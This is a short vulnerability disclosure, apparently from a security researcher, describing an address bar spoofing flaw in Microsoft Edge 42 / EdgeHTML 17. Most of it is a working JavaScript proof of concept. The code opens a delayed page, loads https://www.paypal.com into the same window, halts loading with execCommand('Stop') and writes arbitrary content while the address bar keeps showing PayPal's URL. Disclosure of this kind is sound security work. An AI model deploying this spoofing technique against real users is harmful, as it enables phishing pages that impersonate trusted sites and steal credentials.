[MS Edge] - Address Bar Spoof III


Type any URL and click to open a tab with the address bar spoofed




The code can't be simpler:

   win = window.open("sleep_one_second.php", "WIN"); // Open a URL that delays a bit to response
   window.open("https://www.paypal.com", "WIN");  // Load the URL that you want to spoof into the same window
   win.document.execCommand('Stop');              // But immediately interrupt it

   win.document.write("Spoofed URL on Edge");     // Now document.write anything (the address bar stays spoofed)
   win.document.close();                          // And close the document to make the page really stop loading



Tested on:
Microsoft Edge 42.17134.1.0
Microsoft EdgeHTML 17.17134


Questions? Tweet me here: @magicmac2000
More Information: Broken Browser